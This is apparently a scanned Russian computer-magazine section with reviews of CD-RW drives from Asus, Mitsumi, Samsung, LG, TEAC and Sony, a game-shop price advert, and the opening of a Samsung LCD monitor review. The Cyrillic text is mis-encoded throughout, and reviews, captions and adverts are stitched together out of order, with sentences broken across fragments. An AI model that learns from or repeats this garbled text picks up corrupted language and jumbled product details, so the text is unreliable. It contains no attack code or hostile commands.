øíóðîâ è äèñê ñ ñîôòîì. Ðåçàê èìååò ñèìïàòè÷íûé äèçàéí, ñäåëàí
ïðîñòî è ñî âêóñîì. Íà ïåðåäíåé ïàíåëè èìåþòñÿ äâå êíîïêè (play
è eject) - ýòî âåñüìà óäîáíî è íå÷àñòî âñòðå÷àåòñÿ â ñîâðåìåííûõ
äðàéâàõ. Òàêæå èìååòñÿ ðàçúåì äëÿ íàóøíèêîâ, ðåãóëÿòîð ãðîìêîñ-
òè è äâà èíäèêàòîðà: read è write, ÷òî òîæå äîâîëüíî óäîáíî, òàê
êàê âñåãäà èçâåñòíî, ÷åì çàíÿò äðàéâ â äàííûé ìîìåíò.

Asus 5224A RTL: 

÷òåíèå çàïèñàííîé áîëâàíêè
Asus 5224A RTL: 

÷òåíèå ïîöàðàïàííîé áîëâàíêè

ÈÍÒÅÐÍÅÒ-ÌÀÃÀÇÈÍ
Ñ ÄÎÑÒÀÂÊÎÉ ÍÀ ÄÎÌ

Grand Theft Auto:
Vice City 

Star Wars
Galaxies: An
Empire Divided 

Tomb Raider: The
Angel of Darkness 

WarCraft III: The
Frozen Throne 

The Sims:
Superstar 

Dark Age of
Camelot: Gold
Edition 

Neverwinter
Nights: Shadows
of Undrentide 

Republic: 
The Revolution 

Deus Ex 2:
Invisible War
(DX2)

PC Games

$79.99

$79.99 $79.99

The Matrix : 
Enter The Matrix 

$79,99 

Metal Gear 
Solid 2: Substance 

$73,99 

Silent Hill 2

$39,99 

$65.99

$15.99

$69,99 

$55.99 $75.99$79.99

ÁÛÑÒÐÎ     ÓÄÎÁÍÎ     ÄÎÑÒÓÏÍÎ   

ÑÓÏÅÐÏÐÅÄËÎÆÅÍÈÅ ÄËß ÈÍÎÃÎÐÎÄÍÈÕ ÏÎÊÓÏÀÒÅËÅÉ:
ñòîèìîñòü äîñòàâêè ñíèæåíà íà 10%!

Çàêàçû ïî èíòåðíåòó � êðóãëîñóòî÷íî! e-mail: sales@e-shop.ru
Çàêàçû ïî òåëåôîíó ìîæíî ñäåëàòü

ñ 10.00 äî 21.00 ñ ïîíåäåëüíèêà ïî ïÿòíèöó
ñ 10.00 äî 19.00 ñ ñóááîòû ïî âîñêðåñåíüå

(095) 928-6089 (095) 928-0360 (095) 928-3574
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ASUS CRW-5224A OEM Íåñìîòðÿ íà òî, ÷òî íàçâàíèÿ ìîäåëåé ðåêîðäåðîâ ñîâïà-
äàþò, ýòî äâà ñîâåðøåííî ðàçíûõ äåâàéñà. Âîîáùå, íåïî-
íÿòíî, ïî÷åìó ýòè ìîäåëè ïîëó÷èëè îäèíàêîâûå íàèìå-
íîâàíèÿ. Âåäü ýòîò ðåçàê ïîñòàâëÿåòñÿ â OEM âàðèàíòå è
ïî âñåì ïàðàìåòðàì îòëè÷àåòñÿ â õóäøóþ ñòîðîíó îò òåç-
êè. Ýòà ìîäåëü èìååò òî÷íî òàêîé æå êîðïóñ, êàê è ïåð-
âàÿ, íî íà ýòîì ñõîäñòâà çàêàí÷èâàþòñÿ. Ïàíåëüêà ðåçà-
êà èìååò ñîâåðøåííî äðóãîé, áîëåå ïðîñòîé äèçàéí, òîæå
ïðèñóòñòâóþò êíîïêè play è eject, åñòü ãíåçäî äëÿ íàóø-

MITSUMI CR 487 ETE

Êàê ïî äèçàéíó, òàê è ïî ôóíêöèîíàëüíîñòè äåâàéñ
î÷åíü ïðîñòîé - íèêàêèõ èçëèøåñòâ. Íà ïåðåäíåé ïàíå-
ëè èìååòñÿ êíîïêà eject (äîâîëüíî æåñòêàÿ), ãíåçäî äëÿ
íàóøíèêîâ, ðåãóëÿòîð ãðîìêîñòè è èíäèêàòîð ðàáîòû.

Áóôåð â ýòîì ðåçàêå çàùèùåí îò îïóñòîøåíèÿ òåõ-
íîëîãèåé Exaclink. Òàêæå èìååòñÿ 2 Ìá áóôåð. Âåðñèÿ
ïðîøèâêè - 0019.

Ëîòîê âûäâèãàåòñÿ áûñòðî è áåñøóìíî, çàåçæàåò òî-
æå ìÿãêî è áåç ãðîõîòà. Äåâàéñ ïîêàçàë ëó÷øåå âðåìÿ

ïî ñêîðîñòè çàãðóçêè è âûãðóçêè äèñêà â òåñòèðîâàíèè.
Âåñü ïðîöåññ çàïèñè çàíÿë 3,11 ìèí. Ïðè ýòîì äðàéâ

àáñîëþòíî íå øóìåë. Âî âðåìÿ ïðîæèãà áóôåð ðåçàêà
íè ðàçó íå îïóñòîøàëñÿ. Ïîñëå ïðîâåðêè çàïèñàííîé
áîëâàíêè ñòàëî ïîíÿòíî, ÷òî ñ ÷òåíèåì ïðîáëåì òîæå
íåò - ÷èòàëàñü îíà èäåàëüíî.

Òåñò ñ ïîöàðàïàííûì äèñêîì äðàéâ ïðîøåë ñðåäíåíü-
êî: ïðîáëåìû íà÷àëèñü òîëüêî â êîíöå äèñêà íà ãëóáî-
êîé öàðàïèíå. Òåì íå ìåíåå, ðåçàê ñ äèñêîì ñïðàâèëñÿ è
äî÷èòàë åãî äî êîíöà, íå ñòàâ ïîäíèìàòü ñêîðîñòü ÷òå-
íèÿ. Ñ îäíîé ñòîðîíû, ýòî õîðîøî, òàê êàê ìàëàÿ ñêî-
ðîñòü ïðåäóïðåæäàåò âîçíèêíîâåíèå îøèáîê ÷òåíèÿ
ïëîõîãî äèñêà, íî ñ äðóãîé - åñëè äèñê ïîöàðàïàí òîëüêî
â íà÷àëå, à îñòàëüíàÿ ÷àñòü - â èäåàëüíîì ñîñòîÿíèè, íå-
îïðàâäàííîå ÷òåíèå íà ñíèæåííîé ñêîðîñòè âçáåñèò äà-
æå ñâÿòîãî. Â çàùèòó ïðèâîäà ìîæíî ñêàçàòü, ÷òî ýòîò
áàã ëåãêî èñïðàâëÿåòñÿ íîâîé ïðîøèâêîé - â òåñòèðóå-
ìîì äðàéâå çàëèòà ñûðîâàòàÿ âåðñèÿ.
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Ðåäàêöèÿ âû-
ðàæàåò áëàãî-
äàðíîñòü êîì-
ïàíèè «Îñòðîâ
Ôîðìîçà»
(òåë. 728-
4004) çà ïðå-
äîñòàâëåííîå
îáîðóäîâàíèå

Asus CRW-5224A OEM: 

÷òåíèå çàïèñàííîé áîëâàíêè

Asus 5224A OEM: 

÷òåíèå ïîöàðàïàííîé áîëâàíêè
Asus 5224A OEM

Îò îïóñòîøåíèÿ áóôåðà äåâàéñ çàùèùåí òåõíîëîãè-
åé FlextraLink. Ïðèâîä èìååò 2 Ìá áóôåð. Âåðñèÿ ïðî-
øèâêè - 1.20.

Ïî øóìîâûì õàðàêòåðèñòèêàì ðåçàê ïîêàçàë ñåáÿ íå ñ
ëó÷øåé ñòîðîíû. Ëîòîê âûåçæàåò ìåäëåííî è ñ ïðîòèâ-

íûì ëÿçãîì, âî âðåìÿ çàïèñè èìååò ìåñòî äîâîëüíî ñèëü-
íûé øóì, ïåðåõîäÿùèé èíîãäà â ñâèñò.

Ðîâíî çà òðè ìèíóòû äðàéâ çàïèñàë 625 Ìá äàííûõ, ïîêà-
çàâ íàèëó÷øèé ðåçóëüòàò â òåñòèðîâàíèè. Ïðîâåðêà êà÷åñò-
âà çàïèñè íå ïîêàçàëà íèêàêèõ íåäîñòàòêîâ: íå áûëî îáíà-
ðóæåíî íè îäíîé îøèáêè. À âîò â òåñòå ñ ïîöàðàïàííûì
äèñêîì íå âñå òàê õîðîøî: íà ãðàôèêå âèäíî, ÷òî ñ íåáîëü-
øèìè öàðàïèíàìè â íà÷àëå è ñåðåäèíå äèñêà äðàéâ ñïðà-
âèëñÿ áåç ïðîáëåì è äàæå íå ñíèçèë ñêîðîñòü, à âîò íà ãëó-
áîêîé öàðàïèíå â êîíöå äèñêà åìó ïðèøëîñü ðåçêî ïðèòîð-
ìîçèòü. Ïîñëå ïðîõîæäåíèÿ ïðîáëåìíîãî ó÷àñòêà óìíûé äå-
âàéñ ñòàë ïîñòåïåííî (èìåííî ïîñòåïåííî, à íå ðåçêî) ïîä-
íèìàòü ñêîðîñòü. Ñóäÿ ïî âñåìó, àëãîðèòì ðàáîòû äðàéâà
(÷èòàé ïðîøèâêà) î÷åíü õîðîøî ïðîäóìàí, ïîòîìó ÷òî, õîòü
ðåçàê è øóìèò, íî ïîêàçûâàåò î÷åíü õîðîøèå ðåçóëüòàòû.

Êàê âèäíî èç òàáëèöû, â îáùåì äðàéâ ïîêàçàë ñðåäíèå ðå-
çóëüòàòû. Åäèíñòâåííîå, ÷åì îí âûäåëèëñÿ, ýòî âðåìÿ ðàñê-
ðóòêè äèñêà: îíî ñîñòàâëÿåò âñåãî îäíó äåñÿòóþ ñåêóíäû.

Åäèíîãëàñíûì ðåøåíèåì ðåäàêöèè äåâàéñ óäîñòîèëñÿ
íàãðàäû «Ëó÷øàÿ ïîêóïêà» çà ëó÷øåå ñîîòíîøåíèå
öåíà/êà÷åñòâî.

Mitsumi CR 487 ETE: 

÷òåíèå çàïèñàííîé áîëâàíêè

Mitsumi CR 487 ETE: 

÷òåíèå ïîöàðàïàííîé áîëâàíêè

Mitsumi CR 487 ETE

Asus 5224A RTL



íèêîâ è ðåãóëÿòîð ãðîìêîñòè, íî èíäèêàòîð óæå îäèí. Íà÷èíêà
äåâàéñà, ïî âñåé âèäèìîñòè, òîæå äðóãàÿ.

Â êà÷åñòâå çàùèòû îò îïóñòîøåíèÿ áóôåðà òàêæå ñëóæèò
òåõíîëîãèÿ FlextraLink. Áóôåð äåâàéñà - 2 Ìá. Âåðñèÿ ïðî-
øèâêè - 1.0.

Ëîòîê øóìíûé è ìåäëåííûé. Âî âðåìÿ ðàáîòû ïðèâîä ñòðàø-
íî øóìåë è îò âèáðàöèé óïîðíî ñïîëçàë ñ òåñòîâîãî ñòåíäà.

Áîëâàíêà çàïèñàëàñü çà 3,3 ìèíóòû. Òåñò ÷òåíèÿ çàïèñàííîé
áîëâàíêè ïîêàçàë, ÷òî ïî êà÷åñòâó çàïèñè ýòà ìîäåëü íå óñòó-
ïàåò êîðîáî÷íîé, à âîò ñ ÷òåíèåì ïîöàðàïàííûõ äèñêîâ âñå
íàìíîãî õóæå. Êîíå÷íî, äåâàéñ âñå æå ñìîã ïðî÷èòàòü äèñê,
íî îøèáîê ïðè ýòîì äîïóñòèë íà ïîðÿäîê áîëüøå.

Èòàê, ïðèâîä ïîêàçàë î÷åíü ñðåäíèå ðåçóëüòàòû, íî, òåì íå
ìåíåå, íå ñàìûå ïëîõèå â òåñòèðîâàíèè.

SAMSUNG SW 252

Ýòîò äåâàéñ ñðàçó ïîðàäîâàë
ñèìïàòè÷íûì äèçàéíîì: êîðïóñ
äðàéâà ñäåëàí äîâîëüíî êà÷å-
ñòâåííî, ïðèäðàòüñÿ ïðîñòî íå
ê ÷åìó. Ôåéñ ðåçàêà äîñòàòî÷íî
ñèìïàòè÷åí è â òî æå âðåìÿ
ñäåëàí áåç èçëèøåñòâ. Íà íåì
èìååòñÿ ðàçúåì äëÿ íàóøíèêîâ,
ðåãóëÿòîð ãðîìêîñòè è êíîïêà
eject (î÷åíü íåïëîõî ñîâìåùåí-
íàÿ ñ äâóõöâåòíûì ñâåòîâûì
èíäèêàòîðîì, êîòîðûé ïðèêîëü-
íî ñìîòðèòñÿ â òåìíîòå).

Çàùèòó îò îïóñòîøåíèÿ áó-
ôåðà îáåñïå÷èâàåò òåõíîëî-
ãèÿ Justlink. Ó Ñàìñóíãà ñà-
ìûé áîëüøîé îáúåì áóôåðà:
àæ 8 Ìá. Áëàãîäàðÿ ýòîìó îá
îïóñòîøåíèè áóôåðà íå ìî-
æåò áûòü è ðå÷è. Â äàííîé
ìîäåëè óñòàíîâëåíà âåðñèÿ
ïðîøèâêè bv05.

Ðåçàê î÷åíü è î÷åíü òèõèé,
ïðè÷åì òèõèé âî âñåì. Ëîòîê
âûåçæàåò è çàåçæàåò áûñòðî,
íî ïëàâíî è áåñøóìíî. Â ïðî-

öåññå ðàáîòû âîîáùå íè÷åãî
íå ñëûøíî: òî, ÷òî äåâàéñ
÷åì-òî çàíÿò, ìîæíî îïðåäå-
ëèòü òîëüêî ïî èíäèêàòîðó.

Áîëâàíêà çàïèñàëàñü çà 3,33
ìèíóòû. Ïðîâåðêà êà÷åñòâà ïî-
êàçàëà, ÷òî âñå äàííûå ïðåêðàñ-
íî ÷èòàþòñÿ, íèêàêèõ ïðîáëåì
íåò. Áîëüøå âñåãî ïîðàçèëè ðå-
çóëüòàòû ÷òåíèÿ ïîöàðàïàííîãî
äèñêà: îí ïðî÷èòàëñÿ èäåàëüíî!
Íè îäíîé çàìèíêè, íè îäíîé
îøèáêè! Ðåçóëüòàòû ýòîãî òåñòà
äåéñòâèòåëüíî ëó÷øèå â òåñòè-
ðîâàíèè. Äàæå óäèâèòåëüíî -
âåäü äèñê äîâîëüíî ñèëüíî ïî-
öàðàïàí, à ýòîò äðàéâ ïðî÷åë
åãî ïðàêòè÷åñêè êàê íîâûé.

Ïî ðàçëè÷íûì ñêîðîñòíûì
õàðàêòåðèñòèêàì äåâàéñ ïîêà-
çàë ñðåäíèå ðåçóëüòàòû, íî, íà
íàø âçãëÿä, ýòî íèñêîëüêî íå
óìåíüøàåò åãî ïðåèìóùåñòâ.
Çà ïîëíóþ òèøèíó â ïðîöåññå
ðàáîòû è îòëè÷íûå ïîêàçàòåëè
çàïèñè è ÷òåíèÿ äàííûé äå-
âàéñ óäîñòîåí íàãðàäû «Âûáîð
ðåäàêöèè».

Samsung SW 252

Samsung SW 252: 

÷òåíèå çàïèñàííîé áîëâàíêè

Samsung SW 252: ÷òåíèå 

ïîöàðàïàííîé áîëâàíêè... 

Èäåàëüíî!



MITSUMI CR-485FTE

Ñ ðåêîðäåðàìè ýòîé ôèðìû ñëîæèëàñü ñèòóàöèÿ,
î÷åíü ïîõîæàÿ íà ñèòóàöèþ ñ äðàéâàìè ôèðìû Asus:
âòîðîé äåâàéñ - ïðàêòè÷åñêè ïîëíàÿ ïðîòèâîïîëîæ-
íîñòü ïåðâîãî.

Ïåðâîå, ÷òî áðîñèëîñü â ãëàçà: ïðèâû÷íàÿ íàêëåéêà ñ
èíôîðìàöèåé î äðàéâå ïî÷åìó-òî íàêëååíà ñíèçó, à íå
ñâåðõó, êàê îáû÷íî. Ïåðåäíÿÿ ïàíåëü íà ðåäêîñòü íåçà-
ìûñëîâàòàÿ. Ñâîåé óãëîâàòîñòüþ äèçàéí ôåéñà íàïîìè-
íàåò ïåðâûå îäíîñêîðîñòíûå ñèäþêè. Íà íåé èìååòñÿ

ðàçúåì äëÿ íàóøíèêîâ,
ðåãóëÿòîð ãðîìêîñòè,
êíîïêà eject è èíäèêàòîð
ðàáîòû. Êíîïêà æåñòêàÿ,
èíäèêàòîð î÷åíü ìà-
ëåíüêèé, åñëè íà äåâàéñ
ïàäàåò ïðÿìîé ñâåò, äà-
æå è íå âèäíî, ñâåòèòñÿ
èíäèêàòîð èëè íåò. Ëî-
òîê î÷åíü òèõèé, íî íå
ñëèøêîì áûñòðûé, â ïðî-
öåññå ðàáîòû øóìà òîæå çàìå÷åíî íå áûëî.

Çàùèòà îò îïóñòîøåíèÿ áóôåðà îáåñïå÷èâàåòñÿ òåõ-
íîëîãèåé Exaclink. Áóôåð ñòàíäàðòíûé - 2 Ìá. Óñòàíîâ-
ëåíà ïðîøèâêà âåðñèè 4.0B.

Ïåðâûé äèñê äðàéâ îïåðàòèâíî óãðîáèë, çàïèñàâ ëèøü íà-
ïîëîâèíó, íà âòîðóþ áîëâàíêó îí ïîòðàòèë öåëûõ 5 ìèíóò.
Òåñòèðîâàíèå íàãëÿäíî ïîêàçàëî, ÷òî ýòîò äðàéâ íå äðóæèò
ñ òåõíîëîãè÷åñêèìè áîëâàíêàìè è ïèñàòü èõ íå õî÷åò íè â
êàêóþ. Êàê âèäèøü, ãðàôèê âåñüìà êðèâîé. Ïî âñåé âèäè-
ìîñòè, ïðè çàïèñè ðåçàê íàòêíóëñÿ íà ïëîõîå ìåñòî è íå
ñìîã ñ íèì ñïðàâèòüñÿ. Äàëüøå íà ãðàôèêå âèäíî, ÷òî ïîñ-
ëå ïðîõîæäåíèÿ ïðîáëåìíîãî ó÷àñòêà ñêîðîñòü ñíîâà ïîä-
íÿëàñü. Ïîñëåäíèé òåñò ïîäïèñàë ýòîìó äåâàéñó îêîí÷à-
òåëüíûé ïðèãîâîð: äðàéâ íàîòðåç îòêàçàëñÿ ÷èòàòü ïîöàðà-
ïàííûé äèñê, à âìåñòî ÷òåíèÿ óïîðíî, íàãëóõî âåøàë ñèñòå-
ìó. Ðåáóòíóòü êîìïüþòåð ïîñëå ýòîãî ìîæíî áûëî òîëüêî
ðåñåòîì. Â îïðàâäàíèå ìîæíî ñêàçàòü, ÷òî ýòîò äðàéâ ïîêà-
çàë ñàìûå õîðîøèå ðåçóëüòàòû ïî ïîèñêó (seek).

LG GCE-8520B

Ðåêîðäåð èìååò ïðîñòîé, íî ïðèÿòíûé äèçàéí: ìîðäî÷-
êà âûïîëíåíà â ñåðî-áåëûõ òîíàõ è î÷åíü õîðîøî
ñìîòðèòñÿ. Êîðïóñ ñäåëàí òàêæå õîðîøî, íèêàêèõ çàìå-
÷àíèé íåò. Íà ïåðåäíåé ïàíåëè èìååòñÿ ãíåçäî äëÿ íà-
óøíèêîâ, ðåãóëÿòîð ãðîìêîñòè, êíîïêà eject (äîâîëüíî-
òàêè æåñòêàÿ) è èíäèêàòîð ðàáîòû.

Ëîòîê î÷åíü òèõèé (ïðè ïðèåìå è âîçâðàòå äèñêà íåï-
ðèÿòíûé øóì îòñóòñòâóåò), íî ìåäëåííûé. Ïèøåò è ÷èòà-
åò äðàéâ òîæå î÷åíü òèõî: ãóëà è ñâèñòà íå çàìå÷åíî. Â
äåâàéñå óñòàíîâëåí 2Ìá áóôåð. Ïðîøèâêà - âåðñèè 1.0.

Â òîì, êàêàÿ òåõíîëîãèÿ çàùèùàåò áóôåð äðàéâà îò
îïóñòîøåíèÿ, îí íå ïðèçíàëñÿ. Nero ïðîñòî ñêàçàëà, ÷òî
çàùèòà îò îïóñòîøåíèÿ àêòèâèðîâàíà è íà÷àëàñü çàïèñü.

Äèñê áûë çàïèñàí çà 3,03 ìèíóòû. Êàê âûÿñíèëîñü â
ïðîöåññå ïðîâåðêè, ýòîò äðàéâ ïåðâûé â òåñòèðîâàíèè,
íå î÷åíü õîðîøî ñïðàâèâøèéñÿ ñî ñâîèìè ïðÿìûìè
îáÿçàííîñòÿìè. Áîëüøàÿ ÷àñòü äèñêà áûëà çàïèñàíà
íîðìàëüíî, à âîò â êîíöå ïîÿâèëèñü îøèáêè, è ñêî-
ðîñòü ïðèøëîñü ñáðîñèòü (ýòî âèäíî íà ãðàôèêå). Ïî÷-
òè òàêàÿ æå èñòîðèÿ ïîëó÷èëàñü è ñ ïîöàðàïàííûì äèñ-
êîì: îøèáêè ïîÿâèëèñü òîëüêî â êîíöå, íà ñàìîé áîëü-
øîé öàðàïèíå, áîëåå ìåëêèå äåôåêòû áûëè ïðîéäåíû
èì áåç ïðîáëåì. Ïî ñêîðîñòíûì õàðàêòåðèñòèêàì äå-
âàéñ òîæå ïîêàçàë ñðåäíèé ðåçóëüòàò.
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Mitsumi CR-485FTE: ÷òåíèå çàïè-

ñàííîé áîëâàíêè. À âòîðîé òåñò

îí âîîáùå íå ïðîøåë
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Äèçàéí ýòîãî äðàéâà âåñüìà ïîõîæ íà äèçàéí ïåðâîãî
Mitsumi, ýòî îòíîñèòñÿ è ê êîðïóñó, è ê ïåðåäíåé ïàíåëè.
Íà ïàíåëüêå òàêæå åñòü êíîïêà eject, ãíåçäî äëÿ íàóøíè-
êîâ, ðåãóëÿòîð ãðîìêîñòè è èíäèêàòîð ðàáîòû. Íåñìîòðÿ
íà íåêîòîðóþ ñõîæåñòü, äåâàéñ îò SONY ñìîòðèòñÿ íàì-
íîãî ëó÷øå. Êàêèõ-ëèáî âûäàþùèõñÿ îñîáåííîñòåé äè-
çàéíà ó ýòîãî ðåçàêà íåò. Åäèíñòâåííîå, ÷òî ìîæíî îòìå-
òèòü, - ýòî ñëèøêîì ãëóáîêî ïîñàæåííûé ðåãóëÿòîð ãðîì-
êîñòè, êðóòèòü êîòîðûé íåóäîáíî.

Î ñâîåé òåõíîëîãèè çàùèòû áóôåðà ýòîò ðåçàê òîæå
íè÷åãî ðàññêàçûâàòü íå çàõîòåë: «çàùèòà îò îáíóëå-

íèÿ áóôåðà àêòèâèðîâàíà», è íà ýòîì âñå. Â äåâàéñå
óñòàíîâëåí 2 Ìá áóôåð. Âåðñèÿ ïðîøèâêè - 6YS1.

Ëîòîê ó äðàéâà ìåäëåííûé, íî òèõèé - ïðè çàãðóçêå
äèñêà íå ãðîìûõàåò. Ðàáîòàåò äðàéâ òîæå î÷åíü òèõî,
íèêàêîãî øóìà íå íàáëþäàëîñü.
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÷òåíèå ïîöàðàïàííîé áîëâàíêè
SONY CRX220E1: 

÷òåíèå çàïèñàííîé áîëâàíêè



TEAC CD-W552E

Ýòîò ðåçàê ñäåëàí äîñòàòî÷íî
êà÷åñòâåííî. Åäèíñòâåííûé
âíåøíèé íåäîñòàòîê çàêëþ-
÷àåòñÿ â òîì, ÷òî íàäïèñè íà
çàäíåé ïàíåëè ïëîõî âèäíî.
Äèçàéí ìîðäî÷êè âûçûâàåò
ïðîòèâîðå÷èâûå ÷óâñòâà: ñ
îäíîé ñòîðîíû, îíà êàêàÿ-òî
óãëîâàòàÿ, ñ äðóãîé - âûãëÿ-
äèò î÷åíü ïðèÿòíî. Êðîìå
ñòàíäàðòíîãî íàáîðà ðàçúå-
ìîâ è êíîïîê äåâàéñ èìååò
äâà èíäèêàòîðà ðàáîòû, îò-
äåëüíî äëÿ çàïèñè è ÷òåíèÿ
(êàê è ó ASUS). Îò îïóñòîøå-
íèÿ áóôåðà äåâàéñ ñïàñàåò
òåõíîëîãèÿ Burn proof. Ðàç-
ìåð áóôåðà - 2 Ìá. Âåðñèÿ
ïðîøèâêè - 1.05.

Ëîòîê ó äðàéâà íå øóìíûé,
íî ñàìûé ìåäëåííûé â òåñòè-
ðîâàíèè, à âîò â ïðîöåññå
ðàáîòû äåâàéñ øóìèò, õîòÿ è
íå ñèëüíî.

Áîëâàíêó Teac çàïèñàë îòíî-
ñèòåëüíî ìåäëåííî - çà 3,21
ìèíóòû. Ïî ãðàôèêó åå ÷òåíèÿ
âèäíî, ÷òî ðåçàê òîæå íåäî-
ëþáëèâàåò òåõíîëîãè÷åñêèå
áîëâàíêè - â êîíöå äèñêà îí

âñå æå ñîðâàëñÿ. Âîîáùå, âî
âðåìÿ çàïèñè áûëî çàìåòíî,
÷òî ðåêîðäåð ïèøåò áîëâàíêó
êàê-òî íåóâåðåííî, òî óâåëè-
÷èâàÿ, òî óìåíüøàÿ ñêîðîñòü.

Â ïðîöåññå ÷òåíèÿ ïîöàðà-
ïàííîãî äèñêà äåâàéñ áåç
ïðîáëåì ïðîøåë íåáîëüøèå
öàðàïèíû, à âîò ñ ãëóáîêîé
âîçíèêëà ïðîáëåìà. Òåì íå
ìåíåå è îíà áûëà ïðîéäåíà,
õîòÿ äðàéâ âñå âðåìÿ ïûòàëñÿ
ïîäíÿòü ñêîðîñòü, âìåñòî òîãî
÷òîáû äî÷èòàòü ïëîõîé äèñê
íà ïîíèæåííûõ îáîðîòàõ. Â
îáùåì, ýòîò ðåêîðäåð íà ñåé
ðàç íå îïðàâäàë ñâîåãî èìåíè
è ïîêàçàë íå î÷åíü õîðîøèå
ðåçóëüòàòû.

Ñòîèò ñêàçàòü, ÷òî íà íåì çà-
ïèñûâàëèñü äâå áîëâàíêè: â ðå-
æèìå UDMA è áåç íåãî. Ðåçóëü-
òàòû îêàçàëèñü èäåíòè÷íû.

Teac CD-W552E: 
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Teac CD-W552E

Áîëâàíêà áûëà çàïèñàíà
áûñòðî, çà 3,01 ìèíóòû (âòî-
ðîé ðåçóëüòàò ïîñëå äðàéâà
îò Asus). Òåñòèðîâàíèå äàí-
íûõ íå ïîêàçàëî íèêàêèõ îòê-
ëîíåíèé: áîëâàíêà ïðåêðàñíî
÷èòàëàñü, íèêàêèõ îøèáîê íå
áûëî. Â ïîñëåäíåì òåñòå ðå-
êîðäåð òîæå ïîêàçàë î÷åíü
íåïëîõèå ðåçóëüòàòû. Îøèá-
êè, êîíå÷íî, áûëè, íî «ïî ìè-
íèìóìó». Â öåëîì, îí ïðîøåë
ýòîò òåñò î÷åíü íåïëîõî. Êàê
íè ñòðàííî, áåç ïðîáëåì áû-

ëà ïðîéäåíà è ãëóáîêàÿ öàðà-
ïèíà ïðè òåñòå íà ÷òåíèå ïëî-
õîãî äèñêà. Âîîáùå, åñëè ïîñ-
ìîòðåòü íà ãðàôèêè ÷òåíèÿ
ïîöàðàïàííîãî äèñêà, òî ìîæ-
íî ïîäóìàòü, ÷òî òåñòû ïðî-
âîäèëèñü íà ðàçíûõ ïðèâî-
äàõ, õîòÿ äåâàéñ áûë îäèí è
òîò æå. Ýòî íàãëÿäíî ïîêàçû-
âàåò, íàñêîëüêî ðàçëè÷àþòñÿ
ìåæäó ñîáîé ðàçíûå äðàéâû.

Ýòîò ðåêîðäåð ïîêàçàë
î÷åíü íåïëîõèå ðåçóëüòàòû
ïî âñåì òåñòàì.

SONY CRX220E1



Â î÷åðåäíîé ðàç áðîøåí âûçîâ ìîíèòîðàì íà áàçå ýëåêòðîííîé ëó÷åâîé òðóáêè (ÝËÒ).
Â íàøèõ ðóêàõ íîâûé 19-äþéìîâûé æèäêîêðèñòàëëè÷åñêèé (ÆÊ) äèñïëåé SAMSUNG
SyncMaster 192T. Âîîáùå, ïðèãîòîâüñÿ ê òîìó, ÷òî CRT (Cathode Ray Tube) ñêîðî
ñîâñåì óéäóò â ïðîøëîå, ïîñêîëüêó îñíîâíûå äåíüãè â áèçíåñå ïðîèçâîäñòâà
ìîíèòîðîâ ðàçðàáîò÷èêè ïîëó÷àþò çà LCD (Liquid Crystal Display).

àêèå æå ïðåèìóùåñòâà
äàåò LCD-äèñïëåé? Íà
ïåðâîì ìåñòå äëÿ äî-

ìàøíåãî ïîëüçîâàòåëÿ - êîìïàêò-
íîñòü. Îäèí ïðèÿòåëü íåäàâíî êóïèë
ñåáå CRT 17", ïîéìàë òàêñè è ñòîëê-
íóëñÿ ñ òåì, ÷òî ìîíèòîð íå âëåçàåò
â «Âîëãó». Âîäèòåëþ ïðèøëîñü îòê-
ðó÷èâàòü äâåðü íà ìàøèíå, ÷òîáû
óòðàìáîâàòü êîðîáêó ñ ïîêóïêîé è
ïîêóïàòåëÿ âãëóáü ìàøèíû.

19-äþéìîâûé ÝËÒ çàéìåò áîëüøóþ
÷àñòü òâîåãî ñòîëà, åñëè íå âåñü. Â
ñëó÷àå ñ LCD-äèñïëååì ðàçìåð ïîäñ-
òàâêè íå îòëè÷àåòñÿ äëÿ 15- è 19-
äþéìîâûõ ìîäåëåé. Òî åñòü ïðè ðîñ-
òå ïî äèàãîíàëè ìàòðèöà îñòàåòñÿ
òàêîé æå ïëîñêîé è íå ñúåäàåò äðà-
ãîöåííîå ðàáî÷åå ïðîñòðàíñòâî íà
òâîåì ñòîëå. SAMSUNG SyncMaster
192T ìîæíî äàæå ïîâåñèòü íà ñòåíó
ñ ïîìîùüþ ñïåöèàëüíîãî øòàòèâà,
êîòîðûé èäåò â êîìïëåêòå.

Äî íåäàâíåãî âðåìåíè ó ÆÊ-ìàò-
ðèö ñóùåñòâîâàëà ìàññà ïðîáëåì:
çàïàçäûâàíèå ìàòðèöû, óãîë îáçî-
ðà, öâåòîïåðåäà÷à, ÿðêîñòü è êîíò-
ðàñò. Ïî÷òè âñå ýòè ïðîáëåìû ðå-
øåíû óæå î÷åíü äàâíî. Ó SAMSUNG
SyncMaster 192T çàïàçäûâàíèå 25
ìñ - ýòà çàäåðæêà ïðèáëèæàåòñÿ ê
èíåðòíîñòè ëþìèíîôîðà ýëåêòðîí-
íî-ëó÷åâîé òðóáêè. Òî åñòü çàäåðæ-
êè ïî÷òè íå ÷óâñòâóåòñÿ. Óãîë îáçî-
ðà 170 íà 170 ãðàäóñîâ ïîçâîëÿåò
ñìîòðåòü íà ýêðàí ïðàêòè÷åñêè ñ
ëþáîé òî÷êè, îäíàêî ýêðàí åëå çà-
ìåòíî ïåðåëèâàåòñÿ ïðè êàæäîì
äâèæåíèè ãîëîâû è ãëàç. Çàòî TFT
(Thin Film Transistor) - ìîíèòîðû íå
ìåðöàþò, ïîñêîëüêó êàæäûé ýëå-
ìåíò õðàíèò ñâîå ñîñòîÿíèå äî ïî-
ÿâëåíèÿ íîâîãî ñèãíàëà.

Åäèíñòâåííàÿ ïðîáëåìà, êîòîðàÿ
íàõîäèòñÿ íà ñòàäèè ðåøåíèÿ, - ýòî
öâåòîïåðåäà÷à. Äåëî â òîì, ÷òî
ïðèìåíåíèå â LCD-ìîíèòîðàõ ïîëÿ-
ðèçàöèîííûõ ôèëüòðîâ è èãð ñ ïî-
ëÿðèçîâàííûì ñâåòîì äåëàåò
ñïåêòð íåðàâíîìåðíûì. ×òîáû ïðî-
òåñòèðîâàòü SAMSUNG SyncMaster
192T íà öâåòîïåðåäà÷ó, ìû èñïîëü-
çîâàëè êîëîðèìåòð PANTONE
ColorVision SpyderPRO ñ ïðîãðàì-
ìíûì îáåñïå÷åíèåì OptiCAL. Äàò-
÷èê êîëîðèìåòðà çàêðåïëÿåòñÿ íà
ýêðàíå ìîíèòîðà, à ïðîãðàììíîå
îáåñïå÷åíèå ïîäàåò èñïûòàòåëü-
íûå ñèãíàëû íà ìîíèòîð, à çàòåì
ñðàâíèâàåò ñ ðåçóëüòàòàìè èçìåðå-
íèé. Ëþáîé ìîíèòîð âûäàåò öâåòà
íå î÷åíü òî÷íî, åãî ãðàôèê íå ëè-
